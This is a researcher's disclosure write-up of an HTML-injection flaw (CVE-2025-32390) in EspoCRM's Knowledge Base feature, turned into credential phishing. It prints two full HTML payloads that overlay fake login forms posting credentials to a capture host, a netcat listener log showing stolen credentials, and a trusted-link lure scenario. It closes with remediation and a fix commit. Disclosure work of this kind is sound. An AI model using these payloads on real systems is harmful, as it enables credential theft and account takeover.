Introduction

In this short article I am going to describe the process through which I discovered CVE-2025-32390, how I turned a low class vulnerability like HTML injection into realistic account takeover. It began with browsing around docker images for open source web app on docker hub. Typically I prefer to target CMS type applications as they are often feature rich with lots of testing opportunities, but then I found that CRM type applications also provide plenty functionalities to assess and then I found EspoCRM.

Discovery

EspoCRM features a Knowledge Base(KB) article creation feature. Users with the create article privilege, can create articles for other users on the instance. Reading KB articles, requires that the user must have read article privilege. These privileges are typically handled by the admin user, who has the right to remove and assign granular privileges to non admin users.

After painstakingly testing each input field in the KB feature for stored XSS and finding no working payload, the application correctly filtering out malicious input, I noticed however that in the body field the application was accepting and rendering HTML tags.

Screenshot

This is typically okay and required in order to introduce some styling in the article. However, what happens when the user input entered into the body can go beyond the body itself to cover the entire page ? To test this I injected below payload into the body field.

<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: white; z-index: 9999; display: flex; justify-content: center; align-items: center;">
  <div style="border: 1px solid #ccc; padding: 20px; background: #f9f9f9; text-align: center;">
    <h1 style="color: red;">Security Alert</h1>
    <p>Your account will be locked unless you verify:</p>
    <form action="http://localhost/capture" method="POST">
      <label for="username">Username:</label>
      <input type="text" id="username" name="username" placeholder="Enter your username" style="width: 80%; padding: 10px; margin: 10px 0;">
      <label for="password">Password:</label>
      <input type="password" id="password" name="password" placeholder="Enter your password" style="width: 80%; padding: 10px; margin: 10px 0;">
      <input type="submit" value="Verify" style="padding: 10px 20px; background: blue; color: white; border: none; cursor: pointer;">
    </form>
  </div>
</div>

Upon clicking the save button, the entire page was defaced with the malicious login form.

Screenshot

Then with netcat open I filled in login details and to my surprise after clicking the Verify button, they were successfully captured.

$ nc -lvnp 80
listening on [any] 80 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43474
POST /capture HTTP/1.1
<SNIP>

username=admin&password=password

Then after inspecting source code a bit, I injected another payload, to make the KB article look like the login page of EspoCRM itself !

<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: #f0f0f0; z-index: 9999; display: flex; justify-content: center; align-items: center;">
    <div id="login" class="panel panel-default block-center-sm">
        <div class="panel-heading">
            <div class="logo-container">
                <img src="client/img/logo-light.svg" class="logo">
            </div>
        </div>
        <div class="panel-body">
            <div class="">
                <form id="login-form" action="http://localhost/capture" method="POST">
                    <div class="form-group cell" data-name="username">
                        <label for="field-username">Username</label>
                        <input type="text" name="username" id="field-userName" class="form-control" autocapitalize="off" spellcheck="false" tabindex="1" autocomplete="username" maxlength="255">
                    </div>
                    <div class="form-group cell" data-name="password">
                        <label for="login">Password</label>
                        <input type="password" name="password" id="field-password" class="form-control" tabindex="2" autocomplete="current-password" maxlength="255">
                    </div>
                    <div class="margin-top-2x cell" data-name="submit">
                        <button type="submit" class="btn btn-primary btn-s-wide" id="btn-login" tabindex="3">Log in</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>

Screenshot

Providing the link to the injected KB article http://EspoCRMInstance:8082/#KnowledgeBaseArticle/view/67f68d75d91497a42 to any user with the read article privilege, would direct them to this login page that mimics the actual login page, with the submitted credentials being captured by the attacker.

Practicability

Now the question, how is this different from a typical phishing scenario attack, wouldn’t this be possible with any malicious link ? Assume the the EspoCRM instance is running at https://trustedsite.com, where employees typically log in to interact with the application. The attacker provides a link with the injected article http://trustedsite.com/#KnowledgeBaseArticle/view/67f68d75d91497a42 to targeted employees. The end user sees this coming from a source they trust, http://trustedsite.com which makes it extremely likely that they will click the link (as opposed to http://sketchyurl.com). Then the article page looking just like the login page, a typical user would assume their session has expired and they need to login again to view the article, attacker receiving the credentials and completing the attack.

Conclusion

This vulnerability demonstrates that special care needs to be taken when HTML tags are allowed on purpose as part of user input. Dangerous HTML attributes like action or method should typically be disabled, along with making sure that user input cannot alter other parts of the page. For a detailed view of the fixes implemented, please review https://github.com/espocrm/espocrm/commit/6b58d30eec8864de52844bfb8dac346ce5c729d7 .